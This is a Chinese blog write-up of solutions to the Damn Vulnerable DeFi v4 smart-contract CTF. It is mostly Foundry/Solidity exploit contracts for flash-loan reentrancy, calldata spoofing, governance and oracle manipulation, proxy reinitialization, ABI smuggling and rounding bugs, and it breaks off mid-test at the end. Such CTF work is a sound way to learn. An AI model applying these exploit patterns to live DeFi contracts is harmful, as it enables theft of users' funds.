刷点区块链,onlypwner也很不错,但是不给发wp,就发发这个的,项目地址:https://github.com/theredguild/damn-vulnerable-defi ,用foundry写起来很方便,目前已完结
代码:https://github.com/zysgmzb/My-Damn-Vulnerable-DeFi-V4-solutions
如果刚入门defi安全推荐按顺序做
目录:
unstoppable
一个经典的dos,直接把自己的代币transfer给vault就行了,就会导致monitor检查的时候过不了这一条
if (convertToShares(totalSupply) != balanceBefore)
revert InvalidBalance(); // enforce ERC4626 requirement
Exp:
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 1 ether);
}
naive-receiver
目的是掏空receiver的10eth和pool里的100eth,receiver掏起来很简单,直接调用10次flashloan就行,每次会收他1eth的fee,进行完这一步后pool里就1010eth了,接下来就要吧这些全偷了
可以看到flashloan后所有的fee是到了feeReceiver的账户里,而这个账户就是deployer,所以此时deposits[feeReceiver]就是1010eth
此时如果能控制withdraw函数里的_msgSender()返回deployer的地址就行了,这还是挺容易的,只要控制一下calldata就行
又因为需要在2笔交易内完成,所以直接用那个multicall就行,写11个calldata,前十个用来掏空receiver,最后一个掏空pool,注意最后掏空pool的时候calldata得在后面加上一个deployer,这样_msgSender()就能返回deployer的地址,签名那里的hash值是BasicForwarder.sol里的_hashTypedData(getDataHash(request))的返回值
exp:
function test_naiveReceiver() public checkSolvedByPlayer {
bytes memory call_receiver = abi.encodeWithSignature(
"flashLoan(address,address,uint256,bytes)",
IERC3156FlashBorrower(address(receiver)),
address(weth),
1 ether,
bytes("")
);
bytes memory call_pool = abi.encodePacked(
abi.encodeWithSignature(
"withdraw(uint256,address)",
1010 ether,
recovery
),
deployer
);
bytes[] memory calls = new bytes[](11);
for (uint256 i = 0; i < 10; i++) {
calls[i] = call_receiver;
}
calls[10] = call_pool;
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 1000000,
nonce: 0,
data: abi.encodeWithSignature("multicall(bytes[])", calls),
deadline: block.timestamp + 1
});
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
playerPk,
hex"93d1013a86f6910413c4664bac55cef52aee84d753f2d3e6067034e83259cee1"
);
bytes memory signature = abi.encodePacked(r, s, v);
console.logBytes(signature);
forwarder.execute(request, signature);
}
Truster
这是真简单,直接让pool去call一下token去approve就行了,amount就设为0
但是还是不知道为什么不能直接approve给recovery然后直接transferFrom,这样会panic
Exp:
function test_truster() public checkSolvedByPlayer {
Hack hack = new Hack(address(pool), address(token), recovery);
}
contract Hack {
constructor(address _pool, address _token, address _recovery) {
TrusterLenderPool pool = TrusterLenderPool(_pool);
DamnValuableToken token = DamnValuableToken(_token);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
);
pool.flashLoan(0, address(0), _token, data);
token.transferFrom(_pool, address(this), token.balanceOf(_pool));
token.transfer(_recovery, token.balanceOf(address(this)));
}
}
side-entrance
闪电贷经典漏洞,调用execute的时候去deposit就行,因为这里还款后只检测pool的余额
Exp:
function test_sideEntrance() public checkSolvedByPlayer {
Hack hack = new Hack(address(pool), recovery);
hack.attack();
}
contract Hack {
SideEntranceLenderPool pool;
address recovery;
constructor(address _pool, address _recovery) payable {
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(recovery).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
fallback() external payable {}
}
the-rewarder
有点子莫名其妙,直接整个超长claim就行了,根据claimRewards的逻辑
注意测试的时候不要开-vvvvv,不然卡死你
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet))
revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | (1 << bitPosition);
amount += inputClaim.amount;
}
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet))
revert AlreadyClaimed();
}
如果token和inputTokens[inputClaim.tokenIndex]相等就会一直加amount,直到最后一个才去调用_setClaimed,那直接整个特长的claim就行了,一次性掏空,需要先提前计算一下最多能接受几次airdrop,json文件里有player的地址,发现airdrop数额分别是11524763827831882和1171088749244340,并且总额是10eth和1eth,直接算一下就行了
>>> (10**19) / 11524763827831882
867.696739767488
>>> (10**18) / 1171088749244340
853.9062480493154
所以就整一个867+853长度的claim就行,最后把token全转给recovery,简单
Exp:
function test_theRewarder() public checkSolvedByPlayer {
Claim[] memory claims = new Claim[](867 + 853);
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
claims[0] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: 11524763827831882,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
});
for (uint i = 0; i < 866; i++) {
claims[i + 1] = claims[0];
}
claims[867] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: 1171088749244340,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
});
for (uint i = 0; i < 852; i++) {
claims[i + 868] = claims[867];
}
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
selfie
这题也挺简单的,但是一开始真的是完全不知道哪里可以绕过等待两天的限制,最后看了wp才知道是用foundry的cheatcode去调时间,六百六十六
总体就是闪电贷借个150万eth然后拿去增加自己的vote,然后在SimpleGovernance那里提一个action再改时间再execute就行了
exp:
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(
address(token),
address(governance),
address(pool),
recovery
);
hack.attack1();
vm.warp(block.timestamp + 2 days);
hack.attack2();
}
contract Hack {
DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;
constructor(
address _token,
address _governance,
address _pool,
address _recovery
) {
token = DamnValuableVotes(_token);
governance = SimpleGovernance(_governance);
pool = SelfiePool(_pool);
recovery = _recovery;
}
function onFlashLoan(
address initiator,
address ttoken,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
token.delegate(address(this));
governance.queueAction(
address(pool),
0,
abi.encodeWithSignature("emergencyExit(address)", recovery)
);
DamnValuableVotes(ttoken).approve(address(pool), type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function attack1() external {
pool.flashLoan(
IERC3156FlashBorrower(address(this)),
address(token),
token.balanceOf(address(pool)),
""
);
}
function attack2() external {
governance.executeAction(1);
}
}
compromised
抽抽又象象,上来直接给两私钥,再简单看一眼合约就知道是用泄露的这两个账户控制一下nft价格就行了,简单
exp:
function test_compromised() public checkSolved {
uint256 account1_key = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
uint256 account2_key = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
address account1 = vm.addr(account1_key);
address account2 = vm.addr(account2_key);
vm.startPrank(account1);
oracle.postPrice("DVNFT", 0);
vm.stopPrank();
vm.startPrank(account2);
oracle.postPrice("DVNFT", 0.1 ether);
vm.stopPrank();
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 0.1 ether}();
vm.startPrank(account1);
oracle.postPrice("DVNFT", 999.1 ether);
vm.stopPrank();
vm.startPrank(account2);
oracle.postPrice("DVNFT", 999.1 ether);
vm.stopPrank();
vm.startPrank(player);
nft.approve(address(exchange), id);
exchange.sellOne(id);
payable(recovery).transfer(999 ether);
vm.stopPrank();
vm.startPrank(account1);
oracle.postPrice("DVNFT", 999 ether);
vm.stopPrank();
vm.startPrank(account2);
oracle.postPrice("DVNFT", 999 ether);
vm.stopPrank();
}
puppet
上来先用_calculateTokenToEthInputPrice看一下已有的1000 eth的token能换多少eth
console.log(
_calculateTokenToEthInputPrice(1000 ether, 10 ether, 10 ether)
);
结果直接能换9900695134061569016,好家伙,直接掏空了,然后去lendingpool借就完了,但是这里不知道怎么缩到一笔交易以内,最后大概是这个流程,要缩的话可能要写个合约?
function test_puppet() public checkSolvedByPlayer {
token.approve(address(uniswapV1Exchange), 1000 ether);
uniswapV1Exchange.tokenToEthSwapInput(1000 ether, 1, block.timestamp);
lendingPool.borrow{value: 25 ether}(1000 ether, recovery);
}
puppet-v2
还是一样,把自己的token全换成wth使得token变得非常便宜,就可以用自己的少量weth借来pool中的所有token
exp:
function test_puppetV2() public checkSolvedByPlayer {
token.approve(address(uniswapV2Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForETH(
PLAYER_INITIAL_TOKEN_BALANCE,
0,
path,
player,
block.timestamp
);
weth.deposit{value: player.balance}();
weth.approve(address(lendingPool), type(uint256).max);
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}
free-rider
题目不难,首先是buyMany方法导致的msg.value重复使用问题,这就会导致花15eth获取所有nft,还有更逆天的,就是这里
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
先转移nft再把钱给了,但是给钱的时候owner已经变成买家了,就会导致不用花钱就能获取nft,这market是个人物
于是就很简单了,直接去uniswapv2里面flashswap出15eth后面简单写写把nft全转给recovery就行,还款的时候需要还15eth加上比0.3%多一点点的fee,就用0.4%就行了
exp:
function test_freeRider() public checkSolvedByPlayer {
//weth.deposit{value: player.balance}();
//weth.approve(address(uniswapV2Router), type(uint256).max);
Hack hack = new Hack{value: player.balance}(
address(uniswapPair),
address(marketplace),
address(nft),
address(recoveryManager),
address(weth),
player
);
hack.attack();
}
contract Hack {
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
WETH weth;
address player;
constructor(
address _uniswapPair,
address _marketplace,
address _nft,
address _recoveryManagerOwner,
address _weth,
address _player
) payable {
uniswapPair = IUniswapV2Pair(_uniswapPair);
marketplace = FreeRiderNFTMarketplace(payable(_marketplace));
nft = DamnValuableNFT(_nft);
recoveryManager = FreeRiderRecoveryManager(_recoveryManagerOwner);
weth = WETH(payable(_weth));
player = _player;
}
function attack() external {
uniswapPair.swap(15 ether, 0, address(this), abi.encode(player));
payable(player).transfer(address(this).balance);
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
weth.withdraw(15 ether);
uint256[] memory tokenIds = new uint256[](6);
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
marketplace.buyMany{value: 15 ether}(tokenIds);
nft.setApprovalForAll(address(recoveryManager), true);
for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(
address(this),
address(recoveryManager),
i,
data
);
}
weth.deposit{value: 15 ether * (1 + 0.004)}();
weth.transfer(msg.sender, 15 ether * (1 + 0.004));
}
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory _data
) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
backdoor
有点小难,要看的合约有点多,题目要求在一次交易中把所有代币都转到recovery账户
整体就是为每个airdrop的接受者生成一个代理钱包收钱,但是在setup函数里有一个setupModules,里面是用delegatecall做一些事情,就有了可乘之机
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
题目合约里的proxyCreated函数最后会把10ether转给factory生成的代理合约,所以就在想着能不能让这个setupModules的calldata去call一下ERC20的approve,然后转账完了直接transferfrom就可以了
于是可以写出攻击合约:
contract Backdoor {
address[] users;
Safe singletonCopy;
SafeProxyFactory walletFactory;
DamnValuableToken token;
WalletRegistry walletRegistry;
address recovery;
constructor(
address[] memory _users,
address _singletonCopy,
address _walletFactory,
address _token,
address _walletRegistry,
address _recovery
) {
users = _users;
singletonCopy = Safe(payable(_singletonCopy));
walletFactory = SafeProxyFactory(_walletFactory);
token = DamnValuableToken(_token);
walletRegistry = WalletRegistry(_walletRegistry);
recovery = _recovery;
}
function fakeapprove(
address _token,
address _recovery,
uint256 _amount
) external {
DamnValuableToken(_token).approve(_recovery, _amount);
}
function attack() external {
for (uint i = 0; i < users.length; i++) {
address[] memory _owners = new address[](1);
_owners[0] = users[i];
bytes memory Module_call_data = abi.encodeWithSignature(
"fakeapprove(address,address,uint256)",
address(token),
address(this),
10 ether
);
bytes memory test_call = abi.encodeWithSelector(
singletonCopy.setup.selector,
_owners,
1,
address(this),
Module_call_data,
address(0),
address(0),
0,
address(0)
);
walletFactory.createProxyWithCallback(
address(singletonCopy),
test_call,
0,
walletRegistry
);
address generated_proxy = walletRegistry.wallets(users[i]);
console.log(token.balanceOf(generated_proxy));
console.log(token.allowance(generated_proxy, address(this)));
// console.log(generated_proxy);
token.transferFrom(generated_proxy, address(this), 10 ether);
token.transfer(recovery, 10 ether);
}
}
}
approve这一步需要自己写一下,不能直接在setupModules里面去调用approve,因为这一步是delegatecall,会在代理合约的上下文中进行,如果直接approve就会导致msg.sender是factory合约,但是如果在这次delegatecall里去调用自己写的Backddor合约里的fakeapprove函数去approve的话msg.sender就会是代理合约了
这里一开始我是直接给recovery账户approve的,但是不知道为什么后面的transferFrom一直会panic,搞不明白,后来以这个Backdoor合约自己做一下中转就可以了,不是很明白什么原因
test_backdoor直接部署这个合约就行
function test_backdoor() public checkSolvedByPlayer {
// console.logBytes4(singletonCopy.setup.selector);
/* walletFactory.createProxyWithCallback(
address(singletonCopy),
data,
0,
walletRegistry
);*/
Backdoor backdoor = new Backdoor(
users,
address(singletonCopy),
address(walletFactory),
address(token),
address(walletRegistry),
address(recovery)
);
backdoor.attack();
}
climber
有点小难难了
问题主要出在timelock里的execute方法里,可以发现是先execute再检查合法性,所以可以在execute里先grantrole把自己变成proposer然后所有操作结束后在execute的最后一条里加上一个schedule的过程,还要把delay改成0这样就可以通过合法性检测
所以思路如下(一开始一直在思考能不能改sweeper,这样似乎是掉入了兔子洞)
1.把自己的attack合约变成proposer
2.升级vault为自己的attack合约并在data字段里写入转账的calldata,因为原来的逻辑合约应该是没办法转走钱的,除非改sweeper
3.修改delay为0
4.调用attack合约使其将所有行为进行一个schedule
exp(由于代理合约到逻辑合约是delegatecall所以Hack合约里面的test函数要提供所有参数,不然就全是0,因为代理合约里没有):
function test_climber() public checkSolvedByPlayer {
Hack hack = new Hack(
address(timelock),
address(vault),
address(token),
recovery
);
address[] memory targets = new address[](4);
uint256[] memory values = new uint256[](4);
bytes[] memory dataElements = new bytes[](4);
targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(hack)
);
targets[1] = address(vault);
values[1] = 0;
dataElements[1] = abi.encodeWithSignature(
"upgradeToAndCall(address,bytes)",
address(hack),
abi.encodeWithSignature(
"test(address,address,address)",
address(token),
address(vault),
recovery
)
);
targets[2] = address(timelock);
values[2] = 0;
dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);
targets[3] = address(hack);
values[3] = 0;
dataElements[3] = abi.encodeWithSignature("attack()");
timelock.execute(targets, values, dataElements, bytes32("114514"));
}
contract Hack is ClimberVault {
ClimberTimelock timelock;
ClimberVault vault;
DamnValuableToken token;
address recovery;
constructor(
address _timelock,
address _vault,
address _token,
address _recovery
) {
timelock = ClimberTimelock(payable(_timelock));
vault = ClimberVault(_vault);
token = DamnValuableToken(_token);
recovery = _recovery;
}
function attack() external {
address[] memory targets = new address[](4);
uint256[] memory values = new uint256[](4);
bytes[] memory dataElements = new bytes[](4);
targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);
targets[1] = address(vault);
values[1] = 0;
dataElements[1] = abi.encodeWithSignature(
"upgradeToAndCall(address,bytes)",
address(this),
abi.encodeWithSignature(
"test(address,address,address)",
address(token),
address(vault),
recovery
)
);
targets[2] = address(timelock);
values[2] = 0;
dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);
targets[3] = address(this);
values[3] = 0;
dataElements[3] = abi.encodeWithSignature("attack()");
timelock.schedule(targets, values, dataElements, bytes32("114514"));
}
function test(address token, address vault, address recovery) external {
IERC20(token).transfer(
recovery,
IERC20(token).balanceOf(address(vault))
);
}
}
wallet-mining
一开始没做出来,根本找不到nonce去生成给的地址,看了wp也没用,直接复制wp的exp也跑不出来,给我gas都干飞了也没有,不知道是啥问题
最终把题目里的地址换成了0xF8328bcAB198A23488Ea526bf56560705C4e423a,可以在nonce为3的情况下生成
大概获取参数的过程是这样的
console.logBytes(
abi.encodePacked(
type(SafeProxy).creationCode,
uint256(uint160(address(singletonCopy)))
)
);
address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(0),
"",
address(0),
address(0),
0,
address(0)
);
console.logBytes(initializer);
再把结果填入python脚本进行爆破就行(s1=0xff+factory地址,s3=keccak(合约字节码))
from web3 import Web3
s1 = '0xff6B35AE5369Ee7c8Bf7beb043B9BB3D0613aA0DC0'
s3 = 'b8e47c85f88b5df72f3116ced24853e189ad3e9045c7e4838ecc30cd81d645d1'
i = 0
for i in range(100):
salt = Web3.keccak(bytes.fromhex(Web3.keccak(hexstr='0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000006ca6d1e2d5347bfab1d91e883f1915560e09129d0000000000000000000000000000000000000000000000000000000000000000').hex()[
2:] + hex(i)[2:].rjust(64, '0'))).hex()[2:]
s = s1+salt+s3
hashed = Web3.keccak(hexstr=s)
hashed_str = ''.join(['%02x' % b for b in hashed])
# print(hashed_str[24:])
print(hashed_str[24:])
if (hashed_str[24:] == "f8328bcab198a23488ea526bf56560705c4e423a"):
print(i)
break
然后就可以直接将合约部署到指定位置
但是目前deployer里面的can方法是无法通过的,要想使其返回true只能在AuthorizerUpgradeable里面调用_rely,或者说是是调用init函数,这里就比较有意思了,因为AuthorizerUpgradeable只是一个逻辑合约,其代理合约是TransparentProxy,所以如果我们朝着这个合约调用init方法的话,所检查的needsInit其实是代理合约中位于slot1的变量,也就是upgrader,而upgrader已经被初始化过了,所以说这里的needsInit读取出来的值是uint256(upgrader),也就是说我们可以再次调用init函数是的我们能够有权限去部署合约领取airdrop
部署完之后就很简单了,对着部署后的合约call一下execTransaction方法把余额转给user就行,注意一下写法不然会导致stack too deep,同时题目还有条件是player只能有一次交易,那么就写个合约,让所有步骤都在构造函数里进行就行了
exp:
function test_walletMining() public checkSolvedByPlayer {
Enum.Operation operation = Enum.Operation.Call;
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
userPrivateKey,
keccak256(
hex"1901ab44818b21f3d7aae496f701d747e76f4a7a4e9aef48eefcf9f7289e3c080b5ed1fec887a43aabf6d2c9c81d3322b11e4eb97b080f85123f60f96ead78092611"
)
);
bytes memory sig = abi.encodePacked(r, s, v);
bytes memory final_call_data_to_avoid_too_deep = abi.encodeCall(
Safe.execTransaction,
(
address(token),
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
user,
20_000_000e18
),
operation,
0,
0,
0,
address(0),
payable(0),
sig
)
);
Hack hack = new Hack(
walletDeployer,
token,
authorizer,
user,
ward,
USER_DEPOSIT_ADDRESS,
final_call_data_to_avoid_too_deep
);
}
contract Hack {
constructor(
WalletDeployer walletDeployer,
DamnValuableToken token,
AuthorizerUpgradeable authorizer,
address user,
address ward,
address USER_DEPOSIT_ADDRESS,
bytes memory final_call_data_to_avoid_too_deep
) {
address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(0),
"",
address(0),
address(0),
0,
address(0)
);
address[] memory wards = new address[](1);
wards[0] = address(this);
address[] memory aims = new address[](1);
aims[0] = USER_DEPOSIT_ADDRESS;
authorizer.init(wards, aims);
walletDeployer.drop(USER_DEPOSIT_ADDRESS, initializer, 3);
Enum.Operation operation = Enum.Operation.Call;
token.transfer(ward, 1 ether);
USER_DEPOSIT_ADDRESS.call(final_call_data_to_avoid_too_deep);
}
}
puppet-v3
和前两个一样,都是把自己的token换成weth然后就可以控制价格去borrow了,这里只有一点点不一样那就是router地址得自己找以及价格计算是时间加权平均价格,所以换完weth之后得调一下时间
这题还要自己选一个rpc,直接fork以太坊主网就行了,自己申请个api
然后可以去google搜到uniswapv3的router在以太坊主网上的地址:0xE592427A0AEce92De3Edee1F18E0157C05861564
后面跳过时间直接用foundry的cheatcode:vm.warp
检查函数里面限制了不能跳太多,只跳了100秒也够了,因为自己的token数量就已经足够把流动性池里面的weth换空了
exp:
function test_puppetV3() public checkSolvedByPlayer {
ISwapRouter router = ISwapRouter(
0xE592427A0AEce92De3Edee1F18E0157C05861564
);
token.approve(address(router), type(uint256).max);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
.ExactInputSingleParams(
address(token),
address(weth),
3000,
player,
block.timestamp * 2,
PLAYER_INITIAL_TOKEN_BALANCE,
0,
0
);
router.exactInputSingle(params);
weth.approve(address(lendingPool), type(uint256).max);
vm.warp(block.timestamp + 100);
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
abi-smuggling
合约很短,目标是把vault里所有代币转到recovery账户,注意到有个函数是直接转address(this).balance
function sweepFunds(address receiver, IERC20 token) external onlyThis {
SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
}
于是本题目标大概率就是调用这个函数,但是有个onlyThis的modifier
modifier onlyThis() {
if (msg.sender != address(this)) {
revert CallerNotAllowed();
}
_;
}
于是就得看看别的功能,比如这个execute
function execute(
address target,
bytes calldata actionData
) external nonReentrant returns (bytes memory) {
// console.logBytes(msg.data);
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
// console.logBytes(abi.encodePacked(selector, msg.sender, target));
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
其中的permissions是这样设置的
bytes32 deployerPermission = vault.getActionId(
hex"85fb709d",
deployer,
address(vault)
);
bytes32 playerPermission = vault.getActionId(
hex"d9caed12",
player,
address(vault)
);
其中85fb709d和d9caed12分别是sweepFunds和withdraw函数的选择器
由于msg.sender确实改不了。所以需要自行构造calldata去让他内联汇编得到的selector是d9caed12而实际调用的其实是sweepFunds的,也算是经典问题了,也不多说,直接上calldata
1cff79cd //execute函数的选择器
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 //target参数(只能设为address(vault))
0000000000000000000000000000000000000000000000000000000000000080 // 偏移,利用这里的便宜使得实际使用的actionData是后面那个
0000000000000000000000000000000000000000000000000000000000000000 // 补啥都行
d9caed1200000000000000000000000000000000000000000000000000000000 //execute里的selector就取的这个
0000000000000000000000000000000000000000000000000000000000000044 //真正的actionData开始
85fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000
下面这段也简单说一下
85fb709d //sweepFunds的选择器
00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa // recovery
0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b // token
00000000000000000000000000000000000000000000000000000000 //补到32整数倍
构造完直接call就行
bytes memory final_call = hex"1cff79cd0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b26400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000";
address(vault).call(final_call);
test一下可以看到非常成功
forge test -vvvvv --mp ./test/abi-smuggling/ABISmuggling.t.sol
shards
略显抽象,由于开局是啥也没有的,于是简单看了看market合约结果fuzz出fill方法在fill很少一部分shards的时候其实算出来所需要的费用会因为精度问题变成0,而cancel这笔交易却会返还一定的token,所以就循环就行了,结果第二次market就直接余额不足了,还得少fill一点,由于限制一笔交易,所以就写个合约放在构造函数里,测试exp时候记得加--isolate
exp(前面两个console.log是在fuzz这个fill和cancel,为了方便还把market合约里的toDVT改成了public):
function test_shards() public checkSolvedByPlayer {
console.log(
uint256(130).mulDivDown(
marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE),
NFT_OFFER_SHARDS
)
);
console.log(uint256(130).mulDivUp(MARKETPLACE_INITIAL_RATE, 1e6));
Hack hack = new Hack(
ShardsNFTMarketplace(address(marketplace)),
DamnValuableToken(address(token)),
recovery
);
}
function calc_shards(uint256 balance) public returns (uint256 shards) {
shards = balance.mulDivDown(
NFT_OFFER_SHARDS,
marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE)
);
}
contract Hack {
constructor(
ShardsNFTMarketplace marketplace,
DamnValuableToken token,
address recovery
) {
token.approve(address(marketplace), type(uint256).max);
marketplace.fill(1, 130);
marketplace.cancel(1, 0);
marketplace.fill(1, 1300000000);
marketplace.cancel(1, 1);
token.transfer(recovery, token.balanceOf(address(this)));
}
}
curvy-puppet
炸了,没做出来,主要是要去猛加流动性,但是这是以太坊主网,想猛加流动性去控制LP的价格还是很难的,向aave借了闪电贷但是如果要满足条件收回三人的质押的话就要向aave借大量代币最终自己的代币是不够还的,但是如果用免费的flashloan里面的代币又太少了,最终是借鉴了一下别人的wp的思路,他是借了两家flashloan
关键是增加流动性之后再去调用remove_liquidity,eth转过来的时候调用receive这时候再去liquidate,就可以在LP价格还高的时候通过collateralValue >= borrowValue这个条件,有点reentrancy的味道
这题最难的就是控制借的代币数量以及fee不要太大,还是挺难控制的,最好还是初始多给一点
代码有点长,放github里了
withdrawal
这个不难,通过L2MessageStore.sol可以了解到withdrawals.json中消息的格式
event MessageStored(
bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data
);
也就是topic里面装的是nonce,caller和target,data里面装的是id,timestamp和data,就可以依次解析出各种参数,在此拿nonce为1的举例
0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60
0000000000000000000000000000000000000000000000000000000066729b95
00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000104
01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd5000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000044
81191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
大概就是这样,通过在合约里输出相应的selector
console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector); //0x81191e51
console.logBytes4(l1Forwarder.forwardMessage.selector); //0x01210a38
可以知道这data是通过L1Forwarder.sol中的forwardMessage方法去调用TokenBridge.sol里的executeTokenWithdrawal方法
于是就可以解析出对应的amount,于是就可以发现nonce为2的那笔交易取了999000 ether,显然是异常交易,所以说我们的目标就是让nonce为0、1、3的交易成功,nonce为2的交易失败即可
通过阅读L1Forwarder.sol可以发现,即使交易失败也不会revert,而是使failedMessages[messageId] = true,所以说我们可以将另外三笔交易执行完毕之后再自己执行一笔交易把剩下的所有代币转出来再执行这个恶意交易,这样就能使其失败,最后再把代币还回去即可
exp:
function test_assertInitialState() public view {
assertEq(l1Forwarder.owner(), deployer);
assertEq(address(l1Forwarder.gateway()), address(l1Gateway));
assertEq(l1Gateway.owner(), deployer);
assertEq(l1Gateway.rolesOf(player), l1Gateway.OPERATOR_ROLE());
assertEq(l1Gateway.DELAY(), 7 days);
